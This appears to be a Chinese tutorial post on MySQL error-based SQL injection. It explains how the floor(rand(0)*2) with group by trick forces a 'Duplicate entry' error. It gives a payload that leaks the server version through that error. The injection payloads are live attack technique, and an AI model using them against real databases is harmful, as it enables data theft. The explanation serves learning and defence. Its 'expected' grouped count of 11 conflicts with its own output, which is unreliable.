经典的MySQL Duplicate entry报错注入

本篇简单说明非常经典的基于错误回显的MySQL注射。最重要的,就是理解下面的SQL查询:

  1. select count(*),floor(rand(0)*2)x from information_schema.character_sets group by x;

上面的这条SQL将报错: Duplicate entry '1' for key 'group_key'

如下图

1. 为什么MySQL注射要用information_schema库?

答案是这个库是MySQL自带的,安装之后就创建好了,所有账号都有权限访问。攻击者无需猜解库名、表名,跟Oracle注射使用dual类似。

2. 如何利用报错取数据?

利用报错,攻击者把目标数据concat连接到floor()函数的前后即可。

例如,下面的语句用于获取MySQL Server版本,构造:

  1. mysql> select count(*),concat( floor(rand(0)*2), 0x5e5e5e, version(), 0x5e5e5e) x from information_schema.character_sets group by x;
  2. ERROR 1062 (23000): Duplicate entry '1^^^5.5.28^^^' for key 'group_key'

通过报错,即可知道当前数据库是5.5.28,0x5e5e5e是3个尖括号的16进制表示,自动化SQL注射工具通常会在目标数据前后做类似的标记,方便程序提取。

加上标记,也可以方便攻击者在大的页面中搜索。

3. 为何这条语句会报错?

rand(0)是把0作为生成随机数的种子。首先明确一点,无论查询多少次,无论在哪台MySQL Server上查询,连续rand(0)生成的序列是固定的

  1. mysql> select rand(0)*2 x from information_schema.character_sets;
  2. +---------------------+
  3. | x |
  4. +---------------------+
  5. | 0.3104408553898715 |
  6. | 1.241763483026776 |
  7. | 1.2774949104315554 |
  8. | 0.6621841645447389 |
  9. | 1.4784361528963188 |
  10. | 1.4056283323146668 |
  11. | 0.5928332643516672 |
  12. | 0.7472813862816258 |
  13. | 1.9579071998204172 |
  14. | 1.5476919017244986 |
  15. | 1.8647379706285316 |
  16. | 0.6806142094364522 |
  17. | 1.8088571967639562 |
  18. | 1.002443416977714 |
  19. | 1.5856455560639924 |
  20. | 0.9208975908541098 |
  21. | 1.8475513475458616 |
  22. | 0.4750640266342685 |
  23. | 0.8326661520010477 |
  24. | 0.7381387415697228 |
  25. | 1.192695313312761 |
  26. | 1.749060403321926 |
  27. | 1.167216138138637 |
  28. | 0.5888995421946975 |
  29. | 1.4428493580248667 |
  30. | 1.4475482250075304 |
  31. | 0.9091931124303426 |
  32. | 0.20332094859641134 |
  33. | 0.28902546715831895 |
  34. | 0.8351645514696506 |
  35. | 1.3087464173405863 |
  36. | 0.03823849376126984 |
  37. | 0.2649532782518801 |
  38. | 1.210050971442881 |
  39. | 1.2553950839260548 |
  40. | 0.6468225667689206 |
  41. | 1.4679276435337287 |
  42. | 1.3991705788291717 |
  43. | 0.5920700250119623 |
  44. +---------------------+

应用floor函数(取浮点数的整数部分)后,结果变成了:

  1. mysql> select floor(rand(0)*2) x from information_schema.character_sets;
  2. +---+
  3. | x |
  4. +---+
  5. | 0 |
  6. | 1 |
  7. | 1 |
  8. | 0 |
  9. | 1 |
  10. | 1 |
  11. | 0 |
  12. | 0 |
  13. | 1 |
  14. | 1 |
  15. | 1 |
  16. | 0 |
  17. | 1 |
  18. | 1 |
  19. | 1 |
  20. | 0 |
  21. | 1 |
  22. | 0 |
  23. | 0 |
  24. | 0 |
  25. | 1 |
  26. | 1 |
  27. | 1 |
  28. | 0 |
  29. | 1 |
  30. | 1 |
  31. | 0 |
  32. | 0 |
  33. | 0 |
  34. | 0 |
  35. | 1 |
  36. | 0 |
  37. | 0 |
  38. | 1 |
  39. | 1 |
  40. | 0 |
  41. | 1 |
  42. | 1 |
  43. | 0 |
  44. +---+
  45. 39 rows in set (0.00 sec)

可以看到,第二行和第三行的值都是1,这也是最终引起MySQL报错Duplicate entry的地方。

实际上,我们分开执行下面的两种查询,都是不会出错的:

  1. a) select floor(rand(0)*2) x from information_schema.character_sets group by x;

上面的查询根据x列的值进行分组,得到:

  1. +---+
  2. | x |
  3. +---+
  4. | 0 |
  5. | 1 |
  6. +---+
  1. b) select count(*), floor(rand(0)*2) x from information_schema.character_sets;

得到information_schema.character_sets总共有39行:

  1. +----------+---+
  2. | count(*) | x |
  3. +----------+---+
  4. | 39 | 0 |
  5. +----------+---+
  6. 1 row in set (0.00 sec)

请注意,这里x的值出现的是0

c) 将上述语句结合后即报错

  1. select count(*), floor(rand(0)*2) x from information_schema.character_sets group by x;

我们预期的结果, 其实是:

  1. +----------+---+
  2. | count(*) | x |
  3. +----------+---+
  4. | 18 | 0 |
  5. +----------+---+
  6. | 11 | 1 |
  7. +----------+---+
  8. 2 row in set (0.00 sec)

然而MySQL在内部处理中间结果的时候,出现了意外,导致报错。